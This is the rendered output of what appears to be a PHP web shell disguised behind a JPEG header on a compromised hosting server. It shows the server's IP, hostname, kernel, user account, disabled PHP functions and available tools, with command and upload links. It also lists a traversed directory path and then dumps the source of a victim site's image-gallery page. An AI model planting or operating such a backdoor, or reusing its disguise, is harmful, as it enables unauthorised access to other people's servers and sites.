����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.128.206.181 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../ssl/../highlandbnd.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'header.php'; ?> <style> .gallery-popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); width: auto; max-width: 90%; /* Ensure the popup doesn’t overflow the viewport */ height: auto; max-height: 90vh; /* Ensure the popup doesn’t exceed the viewport height */ padding: 0; display: none; flex-direction: column; align-items: center; justify-content: center; z-index: 6; background: rgba(255, 255, 255, 0.9); /* Slightly white background for contrast */ box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3); /* Add a subtle shadow */ border-radius: 5px; /* Optional rounded corners for a softer look */ } .gallery-popup img { max-width: 100%; max-height: 80vh; /* Ensure image fits within viewport height */ object-fit: contain; } .gallery-popup .close, .gallery-popup .next, .gallery-popup .prev { position: absolute; font-size: 24px; cursor: pointer; background-color: rgba(0, 0, 0, 0.5); /* Dark background for better contrast */ color: #fff; padding: 10px; border: none; border-radius: 3px; /* Slightly rounded corners */ z-index: 7; } .gallery-popup .close { top: 10px; right: 10px; width: 40px; height: 40px; display: flex; align-items: center; justify-content: center; } .gallery-popup .next { right: 10px; bottom: 50%; transform: translateY(50%); width: 40px; height: 40px; display: flex; align-items: center; justify-content: center; } .gallery-popup .prev { left: 10px; bottom: 50%; transform: translateY(50%); width: 40px; height: 40px; display: flex; align-items: center; justify-content: center; } @media only screen and (max-width: 768px) { .gallery-popup { max-width: 95%; max-height: 80vh; } .gallery-popup .next, .gallery-popup .prev { width: 30px; height: 30px; font-size: 18px; padding: 5px; } .gallery-popup .close { width: 30px; height: 30px; font-size: 18px; padding: 5px; } } @media only screen and (max-width: 600px) { .gallery-popup { max-width: 100%; max-height: 80vh; padding: 10px; } .gallery-popup .close { top: 5px; right: 5px; width: 30px; height: 30px; font-size: 16px; } .gallery-popup .next, .gallery-popup .prev { width: 30px; height: 30px; font-size: 16px; } } </style> <!-- BREADCRUMB STARTS HERE --> <div class="rv-breadcrumb pt-120 pb-120"> <div class="container"> <h1 class="rv-breadcrumb__title">Projects</h1> <ul class="rv-breadcrumb__nav d-flex justify-content-center"> <li><a href="index.php"><i class="fa-solid fa-sharp fa-home"></i> Home</a></li> <li class="current-page"><span class="dvdr"> /</span><span>Projects</span></li> </ul> </div> </div> <!-- BREADCRUMB ENDS HERE --> <br><br> <div class="container"> <div class="gallery-wrapper"> <div class="gallery-inner"> <div class="gallery-img"> <img src="img/gal11.png" alt=""> </div> <div class="gallery-img"> <img src="img/gal22.png" alt=""> </div> <div class="gallery-img"> <img src="img/gal33.png" alt=""> </div> <div class="gallery-img"> <img src="img/gal44.png" alt=""> </div> <div class="gallery-img"> <img src="img/gal55.png" alt=""> </div> <div class="gallery-img"> <img src="img/gal11.png" alt=""> </div> </div> </div> </div> <br><br> <script> const galleryStyleSheet = ` .gallery-wrapper { margin: 0; padding: 0; box-sizing: border-box; overflow-x: hidden; } .gallery-wrapper img { max-width: 100%; transition: all 0.2s ease-in-out; } .gallery-wrapper .gallery-img img { cursor: pointer; } .gallery-wrapper { display: flex; align-items: center; justify-content: center; padding: 1rem; z-index: 2; position: relative; } .gallery-popup.active + .gallery-overlay { content: ""; position: fixed; width: 100%; height: 100%; inset: 0; background-color: rgb(0 0 0 / 75%); z-index: 5; overflow: hidden; } .gallery-popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); width: max-content; height: max-content; padding: 0px; display: none; flex-direction: column; align-items: center; justify-content: center; z-index: 6; animation: showPopUp 0.45s linear; } .gallery-popup .close, .gallery-popup .next, .gallery-popup .prev { position: absolute; top: 0; right: 2rem; margin-left: auto; display: flex; align-items: center; justify-content: center; } .gallery-popup img { width: auto; max-height: 100%; object-fit: contain; } .gallery-popup .close { width: 30px; height: 30px; cursor: pointer; top: 0px; right: 0; } .gallery-popup .next { right: 0px; top: 50%; transform: translateY(-50%); width: 30px; height: 20px; font-size: 20px; cursor: pointer; padding: 10px; background-color: rgb(255 255 255 / 75%); } .gallery-popup .prev { left: 0px; right: auto; top: 50%; transform: translateY(-50%); width: 30px; height: 20px; font-size: 20px; cursor: pointer; padding: 10px; background-color: rgb(255 255 255 / 75%); } .gallery-wrapper .gallery-inner { display: grid; gap: 10px; grid-template-columns: repeat(4, 1fr); position: relative; z-index: 4; } @keyframes showPopUp { 0% { opacity: 0; visibility: hidden; } 50% { opacity: 0.5; visibility: visible; } 100% { opacity: 1; visibility: visible; } } @keyframes imgTransitionNext { 0% { transform: translateX(100vw); opacity: 0; } 5% { transform: translateX(95vw); opacity: 0.15 } 10% { transform: translateX(90vw); opacity: 0.1; } 15% { transform: translateX(85vw) opacity: 0.20 } 20% { transform: translateX(80vw); opacity: 0.2; } 25% { transform: translateX(75vw) opacity: 0.20 } 30% { transform: translateX(70vw); opacity: 0.3; } 35%{ transform: translateX(75vw) opacity: 0.35; } 40% { transform: translateX(60vw); opacity: 0.4; } 45%{ transform: translateX(55vw) opacity: 0.45; } 50% { transform: translateX(50vw); opacity: 0.5; } 55%{ transform: translateX(45vw) opacity: 0.55; } 60% { transform: translateX(40vw); opacity: 0.6; } 65%{ transform: translateX(65vw) opacity: 0.65; } 70% { transform: translateX(30vw); opacity: 0.7; } 75%{ transform: translateX(25vw) opacity: 0.75; } 80% { transform: translateX(20vw); opacity: 0.8; } 85%{ transform: translateX(15vw) opacity: 0.85; } 90% { transform: translateX(10vw); opacity: 0.9; } 95%{ transform: translateX(5vw) opacity: 0.95; } 100%{ transform: translateX(0vw); opacity: 1; } } @keyframes imgTransitionPrev { 0% { transform: translateX(-100vw); opacity: 0; } 5% { transform: translateX(-95vw); opacity: 0.15 } 10% { transform: translateX(-90vw); opacity: 0.1; } 15% { transform: translateX(-85vw) opacity: 0.20 } 20% { transform: translateX(-80vw); opacity: 0.2; } 25% { transform: translateX(-75vw) opacity: 0.20 } 30% { transform: translateX(-70vw); opacity: 0.3; } 35%{ transform: translateX(-75vw) opacity: 0.35; } 40% { transform: translateX(-60vw); opacity: 0.4; } 45%{ transform: translateX(-55vw) opacity: 0.45; } 50% { transform: translateX(-50vw); opacity: 0.5; } 55%{ transform: translateX(-45vw) opacity: 0.55; } 60% { transform: translateX(-40vw); opacity: 0.6; } 65%{ transform: translateX(-65vw) opacity: 0.65; } 70% { transform: translateX(-30vw); opacity: 0.7; } 75%{ transform: translateX(-25vw) opacity: 0.75; } 80% { transform: translateX(-20vw); opacity: 0.8; } 85%{ transform: translateX(-15vw) opacity: 0.85; } 90% { transform: translateX(-10vw); opacity: 0.9; } 95%{ transform: translateX(-5vw) opacity: 0.95; } 100%{ transform: translateX(0vw); opacity: 1; } } @media only screen and (max-width: 1280px) { .gallery-wrapper .gallery-inner { grid-template-columns: repeat(3, 1fr); } } @media only screen and (max-width: 768px) { .gallery-wrapper .gallery-inner { grid-template-columns: repeat(2, 1fr); } .gallery-popup .next { right: 0px; } .gallery-popup .prev { left: 0px; } .gallery-popup { top: 60px !important; left: 50% !important; transform: translate(-50%, 0%); height: calc(350px - 60px) } } @media only screen and (max-width: 600px) { .gallery-wrapper .gallery-inner { grid-template-columns: repeat(1, 1fr); } } `; const body = document.querySelector("body"); const galleryWrapper = document.querySelector(".gallery-wrapper"); const styeElement = document.createElement("style"); styeElement.innerHTML = galleryStyleSheet; styeElement.style.display = "none"; body.append(styeElement); const galleryPopup = document.createElement("div"); galleryPopup.className = "gallery-popup"; galleryPopup.innerHTML = ` <button class="close">×</button> <span class="next">»</span> <span class="prev">«</span> <img src="" alt=""> `; const galleryOverlay = document.createElement("div"); galleryOverlay.className = "gallery-overlay"; body.prepend(galleryOverlay); body.prepend(galleryPopup); const images = [...galleryWrapper.querySelectorAll(".gallery-img img")]; const closeBtn = galleryPopup.querySelector(".close"); const nextBtn = galleryPopup.querySelector(".next"); const prevBtn = galleryPopup.querySelector(".prev"); nextBtn.addEventListener("click", nextImg); prevBtn.addEventListener("click", prevImg); // Creating Animation For Image Transition const imgTransitionNext = `animation: imgTransitionNext 0.45s linear`; const imgTransitionPrev = `animation: imgTransitionPrev 0.45s linear`; let showImg = galleryPopup.querySelector(".gallery-popup img"); let selectedImg = null; let startCount = 0; let endCount = images.length - 1; closeBtn.addEventListener("click", (e) => { galleryPopup.style.display = "none"; galleryPopup.classList.remove("active"); selectedImg === null; startCount = 0; endCount = images.length - 1; body.style.overflow = "auto"; }); // Click Next Button Function function nextImg() { if (selectedImg < 0) return; if (selectedImg === endCount) { selectedImg = startCount; } else { selectedImg++; } showImg.src = images[selectedImg].src; addRemoveAnimationNext(); } // Click Prev Button Function function prevImg() { if (selectedImg < 0) return; if (selectedImg === startCount) { selectedImg = endCount; } else { selectedImg--; } showImg.src = images[selectedImg].src; addRemoveAnimationPrev(); } // Initial Click Handler images.forEach((img, index) => { img.addEventListener("click", (e) => { galleryPopup.style.display = "flex"; galleryPopup.classList.add("active"); showImg.src = e.currentTarget.src; selectedImg = index; body.style.overflow = "hidden"; }); }); // Function for add and Remove Style Attribute function addRemoveAnimationNext() { showImg.setAttribute("style", imgTransitionNext); setTimeout(() => { showImg.setAttribute("style", ""); }, 500); } function addRemoveAnimationPrev() { showImg.setAttribute("style", imgTransitionPrev); setTimeout(() => { showImg.setAttribute("style", ""); }, 500); } </script> <script> const body = document.querySelector("body"); const galleryWrapper = document.querySelector(".gallery-wrapper"); const styleElement = document.createElement("style"); styleElement.innerHTML = galleryStyleSheet; styleElement.style.display = "none"; body.append(styleElement); const galleryPopup = document.createElement("div"); galleryPopup.className = "gallery-popup"; galleryPopup.innerHTML = ` <button class="close">×</button> <span class="next">»</span> <span class="prev">«</span> <img src="" alt=""> `; const galleryOverlay = document.createElement("div"); galleryOverlay.className = "gallery-overlay"; body.prepend(galleryOverlay); body.prepend(galleryPopup); const images = [...galleryWrapper.querySelectorAll(".gallery-img img")]; const closeBtn = galleryPopup.querySelector(".close"); const nextBtn = galleryPopup.querySelector(".next"); const prevBtn = galleryPopup.querySelector(".prev"); nextBtn.addEventListener("click", nextImg); prevBtn.addEventListener("click", prevImg); const imgTransitionNext = `animation: imgTransitionNext 0.45s linear`; const imgTransitionPrev = `animation: imgTransitionPrev 0.45s linear`; let showImg = galleryPopup.querySelector(".gallery-popup img"); let selectedImg = null; let startCount = 0; let endCount = images.length - 1; closeBtn.addEventListener("click", () => { galleryPopup.style.display = "none"; galleryPopup.classList.remove("active"); selectedImg = null; body.style.overflow = "auto"; }); function nextImg() { if (selectedImg < 0) return; selectedImg = (selectedImg + 1) % images.length; // Loop back to start showImg.src = images[selectedImg].src; addRemoveAnimationNext(); } function prevImg() { if (selectedImg < 0) return; selectedImg = (selectedImg - 1 + images.length) % images.length; // Loop back to end showImg.src = images[selectedImg].src; addRemoveAnimationPrev(); } images.forEach((img, index) => { img.addEventListener("click", (e) => { galleryPopup.style.display = "flex"; galleryPopup.classList.add("active"); showImg.src = e.currentTarget.src; selectedImg = index; body.style.overflow = "hidden"; }); }); function addRemoveAnimationNext() { showImg.setAttribute("style", imgTransitionNext); setTimeout(() => { showImg.setAttribute("style", ""); }, 500); } function addRemoveAnimationPrev() { showImg.setAttribute("style", imgTransitionPrev); setTimeout(() => { showImg.setAttribute("style", ""); }, 500); } </script> <?php include 'footer.php'; ?>